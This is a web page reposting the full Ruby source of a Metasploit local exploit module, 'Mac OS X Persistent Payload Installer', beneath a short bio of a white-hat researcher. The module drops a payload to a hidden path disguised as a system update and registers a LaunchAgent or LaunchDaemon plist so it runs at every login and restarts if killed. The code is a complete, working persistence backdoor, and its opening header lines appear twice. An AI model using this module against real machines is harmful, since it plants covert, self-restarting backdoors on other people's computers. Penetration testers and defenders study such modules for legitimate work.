Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Mac OS X Persistent Payload Installer
Mac OS X Persistent Payload Installer
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/osx/local/persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mac OS X Persistent Payload Installer',
'Description' => %q{
This module provides a persistent boot payload by creating a launch item, which can be
a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
In either case the plist entry specifies an executable that will be run before or at login.

Verified on OSX 11.7.10 (Big Sur)
},
'License' => MSF_LICENSE,
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 0,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '2012-04-01',
'Platform' => [ 'osx', 'python', 'unix' ],
'References' => [
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
}
)
)

register_options([
OptString.new('BACKDOOR_PATH',
[
true, 'Path to hide the backdoor on the target.',
'~/Library/.<random>/com.system.update'
]),
OptBool.new('KEEPALIVE',
[true, 'Continually restart the payload exe if it crashes/exits.', true]),
OptBool.new('RUN_NOW',
[false, 'Run the installed payload immediately.', false]),
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
])
deregister_options('WritableDir')
end

def check
folder = File.dirname(backdoor_path).shellescape
folder = File.dirname(folder)
return CheckCode::Safe("#{folder} not found") unless exists?(folder)
return CheckCode::Safe("#{folder} not writable") unless writable?(folder)

CheckCode::Appears("#{folder} is writable")
end

def install_persistence
check_for_duplicate_entry

if target['Arch'] == ARCH_PYTHON
payload_bin = "#!/usr/bin/env python\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env bash\n" + payload.raw
else
payload_bin = generate_payload_exe
end

# Store backdoor on target machine
write_backdoor(payload_bin)
# Add plist file to LaunchAgents dir
add_launchctl_item
@clean_up_rc << "rm #{plist_path}\n"
@clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n"
@clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n"\
end

private

# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
def add_launchctl_item
label = File.basename(backdoor_path)
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{label}</string>
<key>Program</key>
<string>#{backdoor_path}</string>
<key>ProgramArguments</key>
<array>
<string>#{backdoor_path}</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>OnDemand</key>
<#{keepalive?}/>
<key>KeepAlive</key>
<#{keepalive?}/>
</dict>
</plist>
EOF

if write_file(plist_path, item)
print_good("LaunchAgent added: #{plist_path}")
@clean_up_rc << "rm #{plist_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
end

if run_now?
cmd_exec("launchctl load -w #{plist_path.shellescape}")
else
print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
end

print_good('LaunchAgent installed successfully.')
end

# path to upload the backdoor. any <user> or <random> substrings will be replaced.
# @return [String] path to drop the backdoor payload.
def backdoor_path
@backdoor_path ||= datastore['BACKDOOR_PATH']
.gsub('<random>') { Rex::Text.rand_text_alpha(8) }
.gsub(%r{^~/}, "/Users/#{user}/")
end

# raises an error if a Launch Agent already exists at desired same plist_path
def check_for_duplicate_entry
if file?(plist_path)
fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
end
end

# @return [Boolean] user wants the persistence to be restarted constantly if it exits
def keepalive?
datastore['KEEPALIVE']
end

# path to the LaunchAgent service configuration plist
# @return [String] path to the LaunchAgent service
def plist_path
@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
end

# @return [Boolean] user wants to launch the LaunchAgent immediately
def run_now?
datastore['RUN_NOW']
end

# @return [String] username of the session
def user
@user ||= cmd_exec('whoami').strip
end

# drops the file to disk, then makes it executable
# @param [String] exe the executable to drop
def write_backdoor(exe)
print_status('Dropping backdoor executable...')
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")

if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
cmd_exec("chmod +x #{backdoor_path.shellescape}")
@clean_up_rc << "rm #{backdoor_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
end
end
end
Social Media Share